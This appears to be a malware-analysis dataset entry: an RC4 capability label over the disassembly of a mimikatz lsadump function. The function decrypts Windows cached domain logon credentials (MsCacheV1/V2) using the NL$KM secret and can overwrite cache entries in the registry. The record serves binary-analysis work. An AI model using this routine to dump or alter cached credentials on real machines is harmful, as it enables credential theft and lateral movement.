Function at 0x18005c134
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r9
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4f]
sub rsp, 0xf0
lea rax, [rbp + 0x17]
mov rbx, r8
mov r15d, reloc.WLDAP32.dll_Ordinal_16
mov qword [rbp - 0x29], rax
lea rax, [rbp - 0x49]
lea r8, str.SecretsNL_KMCurrVal
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x51]
mov esi, 0x2800
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x77]
mov rdi, r9
mov r14, rcx
mov dword [rbp - 0x5d], esi
mov dword [rbp - 0x31], r15d
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x2d], r15d
call fcn.18005c7f4
test eax, eax
je 0x18005c58d
mov r13, qword [rbp + 0x7f]
test r13, r13
je 0x18005c1cb
mov rax, qword [r13]
neg rax
sbb ecx, ecx
and ecx, 0x20006
jmp 0x18005c1cd
xor ecx, ecx
or ecx, 0x20019
lea rax, [rbp - 0x69]
lea r8, str.Cache
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
xor r9d, r9d
mov rcx, r14
mov rdx, rbx
call fcn.18000aabc
test eax, eax
je 0x18005c583
test rdi, rdi
je 0x18005c276
lea rcx, [0x1800964e8]
call fcn.180008f6c
mov rdx, qword [rbp - 0x69]
lea r11, [rbp - 0x11]
lea r9, [rbp - 0x79]
lea r8, str.NL_IterationCount
mov rcx, r14
mov qword [rsp + 0x20], r11
call fcn.18000b030
test eax, eax
je 0x18005c26a
mov edx, dword [rbp - 0x79]
mov ecx, edx
mov eax, edx
and ecx, 0xfffffc00
shl eax, 0xa
cmp edx, esi
cmova eax, ecx
lea rcx, str._NL_IterationCount_is__u___u_real_iteration_s__n
mov r8d, eax
mov esi, eax
mov dword [rbp - 0x5d], eax
call fcn.180008f6c
cmp dword [rbp - 0x79], 0
jne 0x18005c276
lea rcx, str._DCC1_mode___n
jmp 0x18005c271
lea rcx, str._Iteration_is_set_to_default__10240__n
call fcn.180008f6c
mov rdx, qword [rbp - 0x69]
lea rax, [rbp - 0x59]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x71]
xor r8d, r8d
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x55]
mov rcx, r14
mov qword [rsp + 0x30], rax
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
call fcn.18000ad48
test eax, eax
je 0x18005c577
mov eax, dword [rbp - 0x71]
mov ebx, 0x40
inc eax
mov ecx, ebx
lea edx, [rax + 1]
mov dword [rbp - 0x71], eax
add rdx, rdx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r12, rax
test rax, rax
je 0x18005c577
mov edx, dword [rbp - 0x59]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x18005c56e
xor ecx, ecx
mov dword [rbp - 0x79], ecx
cmp dword [rbp - 0x55], ecx
jbe 0x18005c565
mov eax, dword [rbp - 0x71]
mov rdx, qword [rbp - 0x69]
mov r8d, ecx
mov dword [rbp - 0x45], eax
mov eax, dword [rbp - 0x59]
mov r9, r12
mov dword [rbp - 0x75], eax
lea rax, [rbp - 0x75]
mov rcx, r14
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x61]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea rax, [rbp - 0x45]
mov qword [rsp + 0x20], rax
call fcn.18000b398
test eax, eax
je 0x18005c551
lea rdx, str.NL_Control
mov r8d, 0xa
mov rcx, r12
call fcn.180075d24
test eax, eax
je 0x18005c551
lea rdx, str.NL_IterationCount
mov r8d, 0x11
mov rcx, r12
call fcn.180075d24
test eax, eax
je 0x18005c551
test byte [rbx + 0x30], 1
je 0x18005c551
lea rcx, str._n__s__
mov rdx, r12
call fcn.180008f6c
lea rcx, [rbx + 0x20]
call fcn.18000e6cc
mov edx, dword [rbx + 0x10]
lea rcx, str.__nRID_______:__08x___u__n
mov r8d, edx
call fcn.180008f6c
mov r11d, dword [rbp - 0x75]
lea r9, [rbx + 0x40]
lea r15d, [r11 - 0x60]
test rdi, rdi
je 0x18005c5c9
mov r8, qword [rbp - 0x51]
and dword [rsp + 0x20], 0
lea rcx, [rbx + 0x60]
mov edx, r15d
call fcn.180003ac0
test eax, eax
je 0x18005c54d
mov dl, 0x32
mov rcx, rbx
call fcn.18005c774
movzx r11d, word [rbx]
lea rdx, [rbx + 0xa8]
mov word [rbp - 0x3f], r11w
mov word [rbp - 0x41], r11w
mov qword [rbp - 0x39], rdx
test r13, r13
je 0x18005c54d
mov rcx, qword [r13]
test rcx, rcx
je 0x18005c54d
movzx r8d, r11w
shr r8, 1
call fcn.180075d24
test eax, eax
jne 0x18005c54d
lea rcx, str.__User_cache_replace_mode__2___n
call fcn.180008f6c
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 9]
mov r8b, 1
call qword [sym.imp.ntdll.dll_RtlDowncaseUnicodeString]
test eax, eax
js 0x18005c54d
lea rcx, [rbp - 9]
lea rdx, [r13 + 8]
mov r9d, eax
mov qword [rsp + 0x20], rcx
lea rcx, [rbx + 0x60]
mov r8d, esi
call fcn.180004020
test eax, eax
js 0x18005c54d
lea rcx, str.__MsCacheV2_:
call fcn.180008f6c
xor r8d, r8d
lea rcx, [rbx + 0x60]
lea edx, [r8 + 0x10]
call fcn.18000e574
lea rcx, [0x1800964e8]
call fcn.180008f6c
mov rdx, qword [rbp - 0x51]
mov eax, reloc.WLDAP32.dll_Ordinal_16
mov dword [rsp + 0x30], eax
lea rsi, [rbx + 0x50]
lea r9, [rbx + 0x60]
mov r8d, eax
mov ecx, 0x8004
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r15d
call fcn.18000335c
test eax, eax
je 0x18005c54d
lea rcx, str.__Checksum__:
call fcn.180008f6c
xor r8d, r8d
mov rcx, rsi
lea edx, [r8 + 0x10]
call fcn.18000e574
lea rcx, [0x1800964e8]
call fcn.180008f6c
mov r8, qword [rbp - 0x51]
lea r9, [rbx + 0x40]
lea rcx, [rbx + 0x60]
mov edx, r15d
mov dword [rsp + 0x20], 1
call fcn.180003ac0
test eax, eax
je 0x18005c54d
mov eax, dword [rbp - 0x75]
mov r9d, dword [rbp - 0x61]
mov rdx, qword [rbp - 0x69]
mov dword [rsp + 0x28], eax
mov r8, r12
mov rcx, r14
mov qword [rsp + 0x20], rbx
call fcn.18000b120
test eax, eax
je 0x18005c5b3
lea rcx, str.__OK__n
call fcn.180008f6c
mov rdi, qword [rbp + 0x6f]
mov ecx, dword [rbp - 0x79]
mov esi, dword [rbp - 0x5d]
inc ecx
mov dword [rbp - 0x79], ecx
cmp ecx, dword [rbp - 0x55]
jb 0x18005c303
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdx, qword [rbp - 0x69]
mov rcx, r14
call fcn.18000b5dc
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea r11, [rsp + 0xf0]
mov eax, 1
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_registry_RegSetValueEx__0x_08x__n
mov edx, eax
call fcn.180008f6c
jmp 0x18005c54d
mov rax, qword [rbp - 0x29]
mov r8d, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x51]
mov esi, reloc.WLDAP32.dll_Ordinal_16
mov ecx, 0x8003
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
call fcn.18000335c
test eax, eax
je 0x18005c759
lea rdi, [rbx + 0x60]
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x21]
mov dword [rbp - 0x1d], r15d
mov dword [rbp - 0x21], r15d
mov qword [rbp - 0x19], rdi
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x18005c74d
mov dl, 0x31
mov rcx, rbx
call fcn.18005c774
movzx r11d, word [rbx]
lea rdx, [rbx + 0xa8]
mov word [rbp - 0x3f], r11w
mov word [rbp - 0x41], r11w
mov qword [rbp - 0x39], rdx
test r13, r13
je 0x18005c54d
mov rcx, qword [r13]
test rcx, rcx
je 0x18005c54d
movzx r8d, r11w
shr r8, 1
call fcn.180075d24
test eax, eax
jne 0x18005c54d
lea rcx, str.__User_cache_replace_mode__1___n
call fcn.180008f6c
lea rdx, [rbp - 0x41]
lea rcx, [rbp + 7]
mov r8b, 1
call qword [sym.imp.ntdll.dll_RtlDowncaseUnicodeString]
test eax, eax
js 0x18005c54d
lea rcx, [rbp + 7]
lea rdx, [r13 + 8]
mov r9d, eax
mov qword [rsp + 0x20], rcx
mov rcx, rdi
xor r8d, r8d
call fcn.180004020
test eax, eax
js 0x18005c54d
lea rcx, str.__MsCacheV1_:
call fcn.180008f6c
xor r8d, r8d
mov edx, esi
mov rcx, rdi
call fcn.18000e574
lea rcx, [0x1800964e8]
call fcn.180008f6c
mov rdx, qword [rbp - 0x29]
mov dword [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_16
lea rsi, [rbx + 0x50]
mov r9, rdi
mov ecx, 0x8003
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], r15d
mov r15d, reloc.WLDAP32.dll_Ordinal_16
mov r8d, r15d
call fcn.18000335c
test eax, eax
je 0x18005c54d
lea rcx, str.__Checksum__:
call fcn.180008f6c
xor r8d, r8d
mov edx, r15d
mov rcx, rsi
call fcn.18000e574
lea rcx, [0x1800964e8]
call fcn.180008f6c
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x21]
call qword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
jns 0x18005c51e
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___RtlEncryptDecryptRC4_:_0x_08x_n
jmp 0x18005c5c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.ERROR_kuhl_m_lsadump_getNLKMSecretAndCache___kull_m_crypto_hmac__0x_08x__n
mov edx, eax
call fcn.180008f6c
jmp 0x18005c551